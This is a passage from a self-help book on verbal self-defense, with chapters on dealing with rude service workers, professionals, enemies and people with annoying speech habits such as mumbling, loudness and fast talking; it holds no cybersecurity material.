someone's feelings or be unable to do certain things or participate in certain activities, or they will have the
chance to do certain things they enjoy and get certain things they want. Usually Calm Questioning, asking them
a series of yes and no questions, is highly effective in getting children to understand that what they said was
inappropriate and possibly hurtful.
Your Best Bet: Children of This Age Crave Respect
Young children want to know that their opinion and feedback mean something. Parents make the biggest
mistake at this stage as they pay no attention to a child's
Page 201
opinion. Even parents who regard themselves as hip and with the times often perpetuate the idea passed from
parent to child from time immemorial, that children should be seen but not heard. Many parents don't even
realize they are communicating this idea. If you are, be conscious every time you do it and stop it! Children
have to be both seen and heard if they are to have any sense of self-worth. Their opinion has to matter. Ask
them what they think about various issues, from what clothes they prefer to what they think of certain movies
or news events appropriate for the child of their age. Get their opinion. Get them involved. Respect their
opinion. Teach them that what they say matters.
Cursing Kids.
Children are great imitators. When they hear what you say and how you say it, they often parrot it back to you.
If you use ugly words and tones, make sure you don't use them around children, or chances are you will hear
them again—this time, “out of the mouths of babes.”
Many children start to learn curse words around the ages of 3½ to 4, so watch what you say in front of little
ears.
Remember the experiment where the ducklings followed a man around, thinking he was their mother? The
reason for this strange behavior was that he successfully imprinted this in their minds. The same process occurs
with children when it comes to learning words and speech. They too—both good words and bad words—are
imprinted in a child's mind. So when a child hears you tell someone to “go to hell” or to “f—off,” don't be
surprised if you hear these curses echoed back to you by a little mouth.
Kids also pick up these words from their older siblings and peers, or from TV shows or song lyrics. Best Bet:
set limits and be consistent. Let them know right away that these are bad words that make them look bad when
they say them. If you as the parent or caretaker are the cursing culprit, you need to apologize to them for your
mistake. Tell them that you were wrong for saying those bad words and that it made you look bad, just as it
makes them look bad.
Page 202
The key is to R-E-S-P-E-C-T your child and your teen. That is the best bet for parental verbal self-defense.
Page 203
Chapter 16
Verbal Warfare with Specific People in Your Life
Besides your family, there are other people in your life you wish weren't there. Unfortunately, they are there to
stay, so you have to deal with them. You have no choice.
They come across your path and enter your life unexpectedly. They appear out of nowhere. Even if you never
step out of the house, you can still run into them.
They are there when you pick up your phone or call someone to help you with something. They are there when
you buy gas, go to a restaurant, go to the grocery store, or go shopping for clothes. They are there when you
drive or when you see a physician or dentist. They are even there when you get a haircut or a manicure. They
are everywhere! You can't escape them!
Verbal Self-Defense Techniques for Various Groups
If you don't plan to stay in bed for the rest of your life with the covers drawn over your head, you will need to
learn how to deal with these verbally abusive toxins who infiltrate your life. This chapter gives you pointers
concerning what verbal defense strategies are most effective with particular people in your life.
Page 204
Invasive Strangers
One of the best ways to meet people is to spontaneously come up to a perfect stranger and start talking to her.
Likewise, if strangers are attracted to you and want to meet you, they do the same thing. That is what makes the
world go around. When you share pleasantries with a stranger, it is a wonderful feeling. It makes you smile and
feel good all over. It makes you feel important, as though you matter.
On the other hand, perfect strangers can say things to you that can make you feel not so wonderful—things that
make you unhappy, angry, or hurt. Their words make you doubt yourself and feel insecure.
As I mentioned in the scenario in the beginning of this book, who wants to wake up, walk the dog, and hear a
dead dog story or a tragic tale about someone's animal? Who wants to hear how strange they look, how
overweight they are, how weird their hair looks or anything else negative about them? People can be rude—
unknowingly or knowingly.
When you encounter verbally toxic strangers, effective techniques include directly confronting them or calmly
questioning them or mirroring back their own obnoxiousness. These techniques are best done in the form of
snappy comebacks. Some of the best snappy comebacks include saying things like, “Do I know you?” or
“Have you ever tried manners?” Be sure you use these types of comebacks only with someone who has been
equally obnoxious to you, strangers who are either unconsciously or purposely invasive. Using comebacks as
part of your verbal repertoire usually helps you feel a lot better. It prevents you from that “If I had only said…”
Syndrome, where you lie awake at 3 A.M. thinking about what you “woulda” or “shoulda” said to that obnoxious
interloper.
“Friends”
“With friends like you, who needs enemies?” Saying this to them lets them know that you are onto their ways.
It represents the Direct Confrontation Technique and opens the door for further dialogue. By making this rather
bold statement, you can see how your “friends” handle it. If they get defensive and begin to blame you, well,
you obviously know where you stand. On the other hand, if they try to explain or plead with you, they are
showing that there might have been some type of miscommunication, or they are trying to express remorse.
How do you ever forgive being betrayed? How can you ever trust someone again?
Page 205
While it is true that everyone makes mistakes, in most cases you can't ever trust a verbal betrayer again! Thus,
you have to use the Unplug Technique. To do otherwise is to take a big risk. How can you be sure that they
won't do it again? By doing and saying what they did, you perhaps have seen a glimpse of their character—a
glimpse that will protect you from seeing a more horrible sight!
Enemies
An old expression recommends that you keep your friends close, but keep your enemies even closer. The
reason is that you can always keep tabs on what your enemies are doing and what they might plan to do to you.
This doesn't mean that you have to like them, but it does mean that you have to know their whereabouts and
what they might be up to. After all, this is what happens in full-scale wars.
Intelligence officers infiltrate the enemy camp or even a neutral party to find out what's going on and tell the
other side. It works the same in verbal warfare. It is best to have a neutral party who lets your side know what
the other side is up to if you ask. So, ask!
It's obvious when two people don't like one another. This happens for a multitude of reasons, from betrayal to
fear of destruction to jealousy and so forth. It's normal and to be expected on this planet as a form of human
nature. Even though we strive to “love everyone,” to “love our neighbor,” it doesn't always work out that way.
Some of our neighbors are just plain unlovable.
To keep your enemies from totally destroying you, use the Stop the Thought Technique: Silently shout “Stop
the thought!” in your head whenever you think of the person. The Tension Blowouts help you get the people
out of your system when you are or have been in their presence.
I do not recommend directly confronting them, questioning them, or using the Give 'Em Hell and Yell
Technique. This can inflame tempers, create stronger verbal ammunition to be used, and maim or even
annihilate the opponent. It's not worth the emotional hassle. Avoid it.
I do recommend the Love and Kindness Technique with your verbal enemies, no matter how difficult it seems.
Before you tune me out or even want to throw this book at me, just read a little further. This technique helps
you to keep your enemy close by, so that you can keep tabs on him. It also takes away the constant stress and
useless energy that hating someone creates. And finally, you might be shocked to learn that repeated positive
energy and kind and loving words can often turn your worst enemy into your best friend.
There is mighty power in verbal love. Try it! You might be surprised at the results!
Customer Service Representatives.
Imagine the following scenario. You innocently call up someone from a credit card company to talk about a
problem with a bill on which you were charged twice for the
Page 206
same item. You explain your problem in a calm and collected manner, only to hear a robot on the other end of
the line. I'm not talking about the mechanical, taped message telling you which buttons to push in order to be
connected to the appropriate department. No, I'm talking about a very unhelpful, monotonous, condescending
sadist on the other end of the line. Your voice reflects your annoyance at her, to which she robotically replies,
“I'm sorry you feel that way.”
Most people can relate to this scenario. Your best alternative is to give the person on the receiving end a little
of the Give 'Em Hell and Yell Technique. Unfortunately, it's too easy for them just to hang upon you. Now you
have other options that will be effective. The best is the Calm Questioning Technique, peppered by a friendly
Love and Kindness approach, as you slowly do the Tension Blowout Technique. While using this technique to
get further up the customer service food chain, calmly and pleasantly ask to speak to a customer service
representative.
People Entrusted with Yourself or Your Property
You go to the dry cleaner and pay lots of money for your clothes to look and smell good. Upon careful
inspection of your garments the next day, you find that they neither look good (ironed improperly, with creases
on the sleeves of your jackets) or smell good (the smell of your “ironed” perspiration almost knocked you
over). You politely ask him to re-clean some of the garments. Angrily, he accuses you of ironing and creasing
the sleeves of the jackets yourself! Quite an impossible task, since you haven't held an iron in your hand since
you were forced to in your junior high school home economics class. To top it off, he accuses you of dirtying
and smelling up your own pants and jackets.
You feel like punching the man in the face. Instead, you punch the computerized cash register, hoping you
broke it! Then you run as fast as you can before he calls the police on you or before your temper gets so out of
control that you do the dry cleaner some bodily harm.
Whether you have to entrust your clothes, swimming pool, home repair, or hair to another person, serious
repercussions can result from them not performing their jobs up to par! A floor being ruined, clothes destroyed
beyond repair, and hair damaged to the point that you are embarrassed to be seen in public are not only costly
because you have to have these things redone at further expense to you, but emotionally devastating!
Some mishaps with service people are the result of you not properly explaining to them what to do. Most often,
mishaps result from them being overwhelmed by excessive business or just plain incompetence. In these cases,
you have no other choice than to Give 'Em Hell and Yell. This not only helps you to get it out of your

Page 207
system, but it gives you the satisfaction of embarrassing them in cases where there are other customers in their
establishment—they might think twice about doing further business with them.
Then you must obviously Unplug and never do business with them again. If they make you furious, whenever
you think of them do the Vicarious Fantasy Technique. Seeing their head under the steam press can give you a
little sadistic chuckle and release a lot of your own steam.
If the mishap is your fault because you didn't explain it right, admit it. Be a mensch. You know what that
means! You learned it in Chapter 9 in the section on “Bingo! You Got the Lingo!” In case you forgot, it means
a decent person.
To help prevent this misunderstanding from happening again, speak slowly, have them repeat the instructions,
and, if appropriate, write them down!
Salespeople, Store Clerks, and Realtors
Whether they are selling a car, house, suit, or apple, nobody has the right to be rude and obnoxious to you, just
as you have no right to be rude and obnoxious to them.
We have all encountered unexpected hell from someone who ended up putting us in a horrible mood, even
though we started out being excited. If we were kids, we would literally be jumping up and down to show how
thrilled we were and that we couldn't contain ourselves because we were getting a bigger and better house, the
car we always wanted, or a new designer outfit.
Then all of a sudden, our smiles turned into frowns as the happiness and eager anticipation was sucked out of
our veins by this evil sales vampire. He was cold, abrupt, curt, nasty, rude, condescending, acted as though he
was doing us a favor just by waiting on us, gave us attitude, and took his sweet time, making us wait until
things were convenient for him.
Why Did They Do It?
Many sales vampires don't mean to suck out your happiness and enthusiasm. They just can't help themselves.
As a result, they make your life miserable, and theirs as well. Ironically, they aren't accomplishing what they
are there to do in the first place—make a sale and earn some money so that they, too, can have the opportunity
to have the things you are buying from them.
Page 208
There are many reasons why a salesperson might be rude to you, although there is still no excuse for their
behavior. Perhaps seeing it from their point of view might give you a little more empathy and compassion
towards them. Maybe their previous customer was rude to them, maybe they don't like their boss, or maybe
they are exhausted after a long day.
Whatever the reason for a salesperson's rudeness, try killing them with kindness. You might just be the one to
turn their entire day, and their mood or attitude around.
What Else You Can Do!
Sometimes no compassion and understanding in the world will change the attitude of a salesperson, or douse
the fire burning inside of you as you experience the wrath of the salesperson from the world below. You don't
care what the reason is. It's not your problem. You came there for a reason—to purchase something—and you
weren't helped.
All you know is that you are mad as hell and you are not gonna take it anymore. Who can blame you? You
need to express your disdain. But do it in a way that is both fire-and anger-releasing and productive, so that you
can get the result you want.
The best of all worlds is to Unplug and get a new salesperson. Let them know you don't want to deal with them,
using whatever strategy strikes your fancy at the time. If you choose, Give 'Em Hell and Yell. If you want to be
more civil, directly confront. In any case, the message is clear—you won't take it and you are “outta there.”
“Outta there” means either going to a new place to do business or going to a new sales representative to do
business.
People Who Serve You
It's time to eat, so you go into an impressive restaurant with two important clients who finally arrived in town.
You need desperately to impress them because a lot is riding on this deal. If they like and trust you, you are in!
You are ready to order when you notice the waiter from hell standing directly in front of you. This verbally
hostile creature with a huge frown, lifeless eyes, and a lifeless voice asks for your order in the tone of voice that
says “You disgust me and I'm doing you a favor to even talk to you.” You and your colleagues take a little
extra time, as you can't decide between the chicken or the lamb dishes. The waiter looks at all three of you like
you are suffering from a rare infectious disease. When you all finally make up your minds, the waiter snatches
the menus away from you. The others give you a quizzical look and you give a sheepish smile. You don't want
to make any waves. You want to ignore this unpleasant moment—too much good is about to happen.
Finally, your food comes. The vegetables are undercooked and the lamb is raw. When you notice that one of
your guests is having difficulty cutting into the rubbery chicken, you politely summon the waiter and tell him
what the problem is. Treating you as though you have committed a felony, he blames you for choosing that
particular dish: “That's the way it comes, and I can't do anything about it.” By now you are
Page 209
ready to take the plate and shove it in his face, but you don't dare because of your important clients. They insist
that everything is fine, that their meal is fine.
Even though you feel nauseous, you smile weakly and pretend nothing happened. Your clients like you, and so
you ultimately get the account—but not without the expense of a severe migraine, neck and shoulder pain, and
diarrhea.
There is nothing more upsetting than a rude serviceperson who causes you stress and frustration when all you
want to do is have a good time, close a business deal, make a good impression, or woo someone in whom you
are interested. You get so mad you are ready to spit nails. But often, as in the preceding scenario, you can't do
anything about it because you are with a person who is very significant or important to you. You can't yell or
even say anything, for fear your companion will think you are pushy or overly aggressive. Thus, you keep it in
and simmer.
There's No Excuse!
The restaurant scenario is maddening. How dare someone treat you with less than respect when you have come
into their establishment to relax, be entertained or to entertain someone, eat well, or just to be among people?
There really is no good reason why a person in a business that is supposed to help you ends up hindering you!
The main reasons they act this way have to do with jealousy, insecurity, or feelings of superiority. In reality, of
course, they reflect their inner inferiority through their toxic verbiage. Perhaps they “cop an attitude” because
they hate what they are doing. They might feel that the job is beneath them or that they are just biding time
until the work day is over. They want their paycheck and they want to go home immediately! Many are envious
of their customers and patrons because they want to be in their shoes, with someone waiting on or serving
them.
Here is a list of seven types of verbally toxic service people you have most likely encountered:
1. The Fighting Rudee: These are people with a hostile attitude who usually instigate a confrontation with the
patron. They have a chip on their shoulder and have no idea what the saying “the customer is always right”
means. They only know what “always looking for a fight” means.
2. The Prejudiced One: These ignorant and backward people have a preconceived notion about a certain sex or
ethnic group and treat all members of that group with hostility and disdain. They are abrupt, unhelpful, and
uncooperative.

Page 210
3. Abruptees: They are curt and will either interrupt you or not let you speak in the first place. They are
impatient and can't seem to get you to leave fast enough.
4. Sourpusses: They are so upset about where they are—their plight in life or their present situation—that they
can't help but wear their expression on their face. They have a squinched and bitten facial appearance with a
perpetual look of disgust, anger, and frustration. Their faces tell you that they don't like what they are doing,
they don't like you, and they don't want to be there. Because their energy is so toxic and they are so hard to be
around, you don't want them there either.
5. Power for the Hour: these are people who act as though they are better than you by taking the power they
have (such as letting you into a club or seating you at a restaurant) and throwing it around. These people are
obviously insecure and have to push others around to feel important. Such people are more to be pitied and
laughed at than to be angry at.
6. Robots: These unhelpful, monotonous, droning repeaters of the company's doctrine live in great fear. They
are afraid to think for themselves and to say what is really on their minds. There is no getting through to them,
because they are set in their ways. They are condescending, will never see your point of view, and will always
minimize what you say, unless it happens to fit into their programmed script.
7. Extreme Incompetents: These types always screw up! They'll end up costing you money because of their
frequent mistakes. They are the type that forgets a charge off your bill or always does the opposite of whatever
you tell them.
When You Can't Afford to Make a Scene
You don't ever need to let your blood boil again! Suppose you happen to be in a situation similar to the one
presented earlier, where it is difficult for you to speak your mind because of the company you were trying to
impress. In such a situation, breathe, breathe, breathe! In this case, as in most cases, the Tension Blowout
Technique is a lifesaver—no question about it!
The “Stop the Thought!” Technique is also effective. Use it so that you never have to go back there, even in
your mind! You'll get the verbal toxins out of your system for good.
When You Can Afford to Make a Scene
The Direct Confront Technique is usually the most effective way to deal with verbally toxic servers. You need
to immediately bust them on what they are doing and what they are saying to you.

Page 211
Another excellent choice is the Mirroring Technique, in which you have to talk to them exactly as they are
talking to you. Use the same tone and similar words. This usually shocks them into place. They see that you are
on to them and so they usually will turn their behavior right around. You can also use the Calm Questioning
Technique, where you calmly ask them why they are treating you so rudely. You might also ask them if they
are having a bad day. They might admit they are, and immediately apologize and change their actions, tone of
voice, and what they say to you.
If these three techniques don't work, don't ignore them—Unplug them! You don't have to sit at a table where
you are being treated poorly. You don't have to patronize an establishment where you are not being
accommodated. You can leave a restaurant immediately! You do not have to take it! You do not have to be
punished. You pay—they play! There is often someone above the unhelpful person and someone above that
person and someone above that person who can help you solve your problem and address your concerns. Seek
them out. You'll not only save your own esteem, but you'll prevent others from experiencing the nastiness you
just went through.
Even after you have unplugged and sought and perhaps even received justice, you might still be steaming over
how they spoke to you and what they said. To release built-up tension, I suggest you use the Vicarious Fantasy
Technique; fantasize what you would love to do to them or what you would love to see happen to them. Once
again, I repeat for the umpteenth time, fantasize—you don't actually want to do bodily harm to another person.
People Who Don't Speak Your Language
These days it is pretty common to meet someone who does not speak English at all, or at least very well. It is
important when trying to communicate with someone in this situation, that whatever you do, don't yell at them!
They aren't deaf! Don't get upset with them! Instead, be patient. Think of what it would be like if you were in
their shoes. Show a little compassion. Speak softly and take some time. Gesture or make signs to get points
across; point, draw, write. You will eventually be able to communicate.
If you are speaking with someone who has an accent that you don't understand, ask them to speak slowly and
don't be afraid to ask them to repeat. Only do it in pleasant manner, not angrily or impatiently. Also try to listen
to others speaking English in a similar accent in order to familiarize yourself with sounds and tonal qualities
indigenous to the accent.
Page 212
For example, some people from Japan confuse their l and r (“led” for “red”) sounds, and some Swedes do not
say z sound (“pleass” for “pleaz”). Some Latinos say ee for ih sounds (“sheep” for “ship”), and some Russians
say d sounds for th sounds (“dis” for “this”). Chinese people who speak Cantonese sometimes sound as though
they are angry at you and yelling at you when speaking English to you. They are not: this is just the way they
adapt the tonal qualities in their language to our language.
You can see how easy it is to get the wrong message conveyed. The sounds and tones people use in their native
language might represent something entirely different in our language.
Professionals and Authority Figures.
Unfortunately, some abusers might literally “hold your life in their hands”—an employer, doctor, attorney,
police officer, or teacher.
Just because they have a long list of degrees or hold the reins to your financial status does not give them the
right to speak to you in a condescending or hostile way. Like the service person, these professionals exist to
guide and assist you, to take care of you, not to verbally assault you.
But sadly, they do assault you too many times.
You can use numerous verbal self-defense techniques with such abusers. But note, the more harsh and severe
the techniques you choose, the more likely it is you will alienate these people in power. The good news is that
you will feel a lot better. You will have defended yourself and stuck up for your rights, protecting your dignity.
The bad news is that you might have gotten into more trouble than you bargained for—getting arrested, being
kicked out of places, or being fired.
Verbally Toxic Employers
Sometimes you have the good fortune to have an employer or teacher who is a gem. They are supportive,
caring, understanding, open, and respectful. They value your opinion and what you have to say. They reward
you for your efforts in praise or in a raise. They are appreciative of your efforts and consistently let you know
how much they value your work.
But more often than not, there are the Toxic Employers who are here to make your life miserable. Your
employer
Page 213
might be a bully, a wimp, a mental case, a liar, a silent-but-deadly erupting volcano—any of the 30 types of
“toxic terrors” mentioned in my book Toxic People—10 Ways to Handle People Who Make Your Life
Miserable. The verbal strategy you use to defend yourself depends largely upon what type of verbal terrorist
they are and how much you want or need your present job. Milder strategies work better if you need your job.
If you don't really care, go for it—Give 'Em Hell and Yell, Confront, and loudly Unplug.
Verbal Medical and Dental Disasters
You decide that it's about time to go to the dentist. You have finally gotten up enough nerve to tolerate the
shots you know your gums will be receiving. You make that call, and a rude-sounding person abruptly tells you
the fee, saying that they don't take dental insurance and that you have to arrive exactly on time or the doctor
won't see you. To top it off, she massacres your name as she asks you to spell it three times and still
pronounces it wrong. If you didn't need to have that root canal, you'd have hung up on her long ago.
You show up at the scheduled appointment, and the hostile and rude assistant gives you an attitude. You tell
her to cool it—reminding her that you're a well-paying customer about to pay a significant amount of money.
She goes into the dentist's office, probably to fill him in on how difficult you are being. You're already scared
and nervous, and now you are in front of the dentist. He speaks abruptly and has a cold tone. You know that
this is not his normal tone as you heard him talking on the phone a few moments earlier, where he was warm
and animated. You're scared of him. He sounds mean! He doesn't like you, but it's too late—his fingers are
already in your mouth.
Many times you have to hold back your tongue, because these people can make your life completely miserable
if you don't. For example, giving a police officer hell and yelling might land you in jail. Mirroring a bullying
boss or teacher (giving them a taste of their own verbal medicine) can get you fired or kicked out of class. Even
if your questioning is cool and calm, many verbally toxic physicians and attorneys might misconstrue your
questions as a form of interrogation. This automatically places them on the defensive, and more often than not,
they verbally attack back! Professionalism and Hippocratic Oaths aside, they are still human, and if they don't
like you, there is a chance this will be reflected in their work.
If you don't really care whether you lose your job, have to get a new physician or attorney, get kicked out of
class, or get thrown in jail, you can use a more aggressive approach like Give 'Em Hell and Yell, Mirroring,
Questioning, or Unplugging—getting these people out of your life!
Page 214
On the other hand, if you choose to keep your job or your status in a company, not land yourself in jail, and not
upset the status quo, you might want to employ some techniques you learned about in Chapters 10 and 11:
Tension Blowouts, Love and Kindness, Direct Confrontation, and Vicarious Fantasy. These less aggressive
approaches can even be the catalyst to turn around the attitudes of these “professionals” and authority figures.
Sometimes these people say mean things to you unwillingly, because they are under an inordinate amount of
pressure, which stimulates their short verbal fuse. Sometimes a kind word and compassion is all it takes to turn
their toxic words around.
Page 215
PART 5
VERBAL COMBAT AGAINST VERBAL ABUSERS
Throughout the next three chapters, I refer to verbal abusers, and sometimes painful verbal abusers, because
of the emotional and sometimes physical pain these people can cause. Verbal abusers don't always do that
much harm. They are simply annoying. Others are rather revolting and disgusting, and still others are
downright dangerous and can do tremendous damage.
Chapters 17–19 discuss each of these categories of verbal abusers and how to handle them. You will learn how
to defend yourself against them and to either control their invasion or exterminate them from your life. You will
begin by learning about the most benign vermin, the annoying ones, then graduate to learning about those
vermin who disgust and revolt you, making your life so uncomfortable that they make you paranoid and
suspicious of everyone around you. Finally, you will learn about the worst kind of verbal abuser, those who
can destroy you by gnawing at your insides. You will learn how to extinguish them from your lives by using
effective verbal weapons to annihilate them forever.
Page 217
Chapter 17
Verbal Combat Against Annoying Verbal Abusers.
These types of verbal abusers won't hurt you; they are just uncomfortable to be around. If they are around for a
short period of time, you can live with it, but if they are around for prolonged periods of time—watch out!
They will eventually get on your nerves, just like an infestation of ants. Just remember that if you are not
careful with which defensive technique you use you might cause them major emotional damage. These Verbal
Annoyers come in 13 different types. In this section, you will learn characteristics of each of them and the best
techniques to handle them.
Mumble Jumble
According to a Gallup poll, people who mumble are so off-putting that 80 percent of those questioned found
mumbling to be one of the most annoying speech habits. The reason is obvious. You can't understand a word
they say! You have no idea what they are talking about, so you ask them to repeat. They do. You understand
them and then they mumble again. You end up asking them to repeat what they said after everything they said,
which is frustrating for both of you. They are mad at you for not understanding, and you are mad at them for
not speaking up!
Page 218
To avoid the two of you wanting never to speak to one another again, you need to be open and directly confront
the mumbler, but you must do it with a Love and Kindness Strategy. You might also want to help them by
giving them some pointers on how to stop mumbling, but be very careful. Do it in a diplomatic way so that
they won't be offended. Since most mumblers tend to suffer from fragile self-esteem—they often feel they
aren't worthy of being heard—be gentle with them!
Here's what you might want to say to a mumbler: “I am so sorry, I don't mean to be disrespectful, but I am
having trouble understanding everything that you are saying. Since it's important for me to hear everything [or
“since I'd like to hear everything”], don't be offended if I ask you to repeat something.”
If you feel comfortable doing this, you might want to say the following: “You know, I was reading this book on
verbal self-defense the other day, and it said that people need to spend about one second on each vowel when
they speak. I tried it, and it really helped me. It really worked. Once again, I don't mean to be offensive, but
perhaps if you can try this technique and draw out each vowel for a second, I can understand you a lot better.”
Then smile. A smile diffuses the intensity of the situation and presents it in more casual light. If they still
mumble and you really need to listen to what they said, do the best you can. Block out all other stimuli and
concentrate like mad. If the person is not very instrumental in your life, unplug—leave! It's not worth being
tortured.
Sonic Boomers!
Ouch! These people are not only embarrassing to be around, they can actually hurt your eardrums or shock
your nervous system every time they speak. According to a Gallup poll examining the most annoying speaking
habits, close to 75 percent of the respondents found a loud voice to be annoying.
People tend to speak too loudly for several reasons. First of all, they might have a type of hearing loss due to an
obstruction in their ears.
A second and more common reason people speak so loudly is that they need attention. They suffer from such
insecurity that they think only of themselves and their need to be noticed. This usually makes them
unconscious of the world around them. They don't care if they are in a doctor's office, on an airplane, or in a
library. No place matters, and nothing they say matters. They could be telling you the most intimate detail of
their life or of someone else's life. It makes no difference: everyone within 100 miles of them will hear their
sonic-booming voice.
Once again, you have to be a diplomat. Smile and use the Calm Questioning Technique, saying “I don't mean
to be rude, but do you think you can perhaps lower your

Page 219
voice? My ears are really sensitive to certain tones.” You aren't lying. Your ears certainly are sensitive to
certain tones—their tones!
The key is to couch your words with politeness and sensitivity, since you need to have empathy for the possible
understandable contributing factors to their loudness. If they can't reduce their decibel level, you can reduce
yours, by either walking away from them (if you don't have to be around them) or by wearing earplugs (if you
do have to be around them).
You might also want to use the specific Direct Confrontation Technique that I talk about later in this chapter.
This approach encourages you to direct them to see a physician or a speech pathologist who can possibly help
them lower their booming voice. A person who speaks in such a loud voice often has related problems, such as
hoarseness of the voice, vocal nodes (growths on the top portion of the vocal cords), vocal ulcers, or ear
problems. On the other hand, they might just have bad speaking habits. Whatever the problem is, you might be
doing them a huge favor.
Meek, Weak, and Squeak
Like the Mumble Jumblers, these people frustrate you because you have so much trouble hearing them. Like
the Sonic Boomer, the sound of their high-pitched voice can also hurt your ears. Over 60 percent of the people
surveyed feel the same way you do. They don't respond well to people who sound like this and don't know
why.
The reason is that they are registering that these people are psychologically passive-aggressive. They are
sickeningly sweet-sounding. But beware! They can blow their top on you any minute!
If you experience the wrath of a meek squeaker, run for your life! Unplug from them as rapidly as you can!
They are dangerous and can cause you lots of trouble. If for reasons you can't control, you can't unplug, do the
Tension Breathing Technique and know before whom you stand. Keep checking in with them and confronting
them so that there are no surprises. Keep asking them questions, so that you know where they are or have an
idea about what is on their mind most of the time. Obviously they won't be open and forthright, but they might
slip up from time to time, so keep asking.
Baby-Voiced and Cutsie-Wootsie
The worst part about these people is that they actually think they sound great, that they are getting points for
sounding like a bimbo. They might be cute during intimate moments in the bedroom with their lover, or while
talking to babies or small animals.
Page 220
But when people talk like this in public, others cringe. You cringe. You might cringe so badly that you feel the
hair standing up on the back of your neck whenever you hear them speak. That voice might even stop you in
your tracks.
If you are the one cringing, it is rather awkward to tell them to cool it and to grow up, unless you are very close
to them or related to them and, thus, used to speaking boldly and bluntly to them.
Short of telling them to grow up or to shut up, you might just want to Breathe Them Out and Unplug. If you
don't have to be around them, don't be. Try to get away from them every chance possible, before you say
something you might regret or something that will probably make them cry. Since those who possess this voice
quality are often exaggerations or cartoonish caricatures of stereotypic female roles, this expression of
emotional behavior might occur.
Your best bet is to breathe them out! If you keep hearing their miserable tones resonating in your heads at a
later date or time throughout the day, employ the “Stop the Thought!” Technique immediately! Both tactics
will reduce your blood pressure and calm you down.
On the other hand, if you have nothing to lose and you don't care whether you will alienate them, perhaps for
good, go ahead and use the Mirroring Technique, where you actually imitate or mirror back the way they are
coming across. In essence, you are mocking them. Sometimes, they might be good-natured about it and laugh
as they know that they sound that way. They like that they sound that way and they want to keep sounding that
way. On the other hand, they might still be laughing with you, but crying inside. They might have always been
made fun of and your cut is deep. You might have really hurt them and caused them more emotional damage.
Other times, they might become serious and say that they hate the sound of their voice. Since you do too, and
assume that others do as well, do them a favor and suggest that they see someone to help them improve their
voice.
Besides the Mirror Technique, you might just want to directly shoot from the hip and use the Direct
Confrontation Technique. The following “Talk Back!” section gives you an example of how to tell them they
need help with their voice.
Page 221
Talk Back
Gary: I don't mean to offend you in any way, but I think that it might be in your
best interest to improve the sound of your voice.
Sherry: I hate my voice. Some people tell me it's cute, but I can't stand it.
Gary: I know that you can get help with it from a licensed speech pathologist
who specializes in helping you with your voice.
Sherry: Really? Where do I find one?
Gary: Look in the Yellow Pages or ask an ear, nose, and throat doctor, but it's
important to see only a speech pathologist who specializes in treating the voice.
I'll even see if I can get you some names.
Where to Direct a Person with an Annoying Voice
What I am about to say is extremely important, so read carefully! Specifically, do not recommend that they see
a singing teacher, but rather that they see a licensed and qualified speech pathologist. And it is not enough for
them to see just any speech pathologist. They must see only a speech pathologist who specializes in and has
extensive and ongoing experience with patients who have voice problems. Otherwise, you are opening yourself
up to possible further problems, or no improvement at all, by treatment from someone who might not be very
well educated or trained. If your therapist is competent, you should see results in three months. If you don't,
quit immediately!
In order to find such a speech pathologist, consult with a qualified otolaryngologist. You might want them to
examine your vocal cords to see whether any medical problems exist. If so, your private health insurance or
HMO can often cover the speech therapy treatment program, depending on your policy. If the doctor finds
nothing wrong with you, see the speech pathologist anyway. Tell the pathologist that your health insurance
won't cover treatment because the doctor found no medical condition, and that you would appreciate their
working with you financially and, perhaps, providing you with a lower rate. Any decent therapist (or human
being, for that matter) will usually accommodate you, since treatment is often costly.
Another way to find a speech pathologist who specializes in voice disorders is to look in the phone book! It's a
great place. And whether you look in the phone book, get a name from a physician, or a friend refers you, ask
questions!

Page 222
Ask these questions before seeing any speech pathologist:
1. What kind of patients do you mostly see in your practice?
2. What is the largest percentage of people you see with that condition?
3. How many speech and voice patients have you seen over the past year?
4. How do people usually find out about you?
5. What is the average length of time you treat a patient?
6. What kinds of techniques do you normally use?
7. Where were you trained? What degree do you have? Are you licensed?
8. Do you take insurance if a doctor refers me due to a medical problem?
The Monotonous Drone.
You, along with 75 percent of the population, can't stomach listening to someone who puts you to sleep when
you are not sleepy. This monotonous voice is the number one killer of interpersonal relationships between men
and women. So much of the meaning of what the person wants to communicate is lost in the communication
when there is a lack of vocal excitement. They are so confusing because you really never know where you
stand with them. You don't know whether they like you, whether you have done something wrong, or whether
they are pleased or angry about something.
People who sound boring and monotonous usually don't mean to be. Often, they live in fear. They are
emotionally repressed. They might have come from a family where it was considered bad to express
themselves with unbridled emotion, and so they were conditioned to act in a more controlled manner.
Unfortunately, the results of their upbringing turned out to be deleterious to their communicative abilities with
others. It ruined many intimate relationships by helping to create misunderstandings. It both confused and
frustrated the person with whom they were having the relationship, which often resulted in a sad ending.
You need to keep checking in with the Monotonous Drone. Keep asking them questions to see where they are
coming from—how they are thinking and what they are feeling. Don't be afraid to ask them about their
feelings. Use the direct confrontation to share your feelings with them. If you're doing business with them, also
check in with how they are feeling about a particular issue.
Unless you are super close to them—you've been intimate, are best friends, or are close family—you might
want to suggest that they get into either a speech or regular counseling program to help them express
themselves. Let them know you are not criticizing them.
Page 223
Gingerly, speak to them in a loving and delicate manner. After all, they are sensitive, and they do tend to keep a
lot inside. Make it safe and comfortable for them. Let them know that you are in no way judging them, nor do
you think less of them.
The Fast Talker
These people are also very frustrating to be around; they placed in the top ten of the Gallup poll's most
annoying people. Like the Sonic Boomers, they often don't even realize they talk so fast. Like the Mumblers,
they become quite frustrated because they are constantly asked to repeat things over and over again.
The Fast Talkers are often angry and frightened people. They, like the mumbler, suffer from a lowered sense of
self-worth. They apparently don't feel worthy enough to have the other person take the time to listen to them,
so they hurry up and get it over with. They might also be highly neurotic people or suffer from bipolar disorder
that makes them always in a hurry and on the go. Because they usually don't even realize what they are doing,
don't ever abruptly tell a Fast Talker to “slow down” in an agitated manner. Because of their often lowered
sense of self, they are likely to get defensive and shut down. They might even begin to resent you. Unless you
use the Love and Kindness approach with them, you can forget about ever understanding them again. They will
continue to speed through sentences, leaving you in their wake, and not caring whether you understand them or
not. The Fast Talker is more hostile than the Mumbler, who is more concerned about whether you understand
him.
You can try to keep up with the fast talker by listening intently. But this is sometimes nearly impossible to do.
Therefore, consider using the polite Love and Kindness approach used with the Mumbler, but use more of it,
since they are more hostile. Put the blame on yourself. Don't blame them. Let them know that you are having a
hard time concentrating today and that they can really help you out if could talk a little slower. If they are a
more receptive type of Fast Talker, you might want to use the identical approach that you used on the
Mumbler. Let them know that you have no intention of offending and that you read a book (this one) that
suggested that for people to better understand others, it is best that the speaker draw out each vowel for
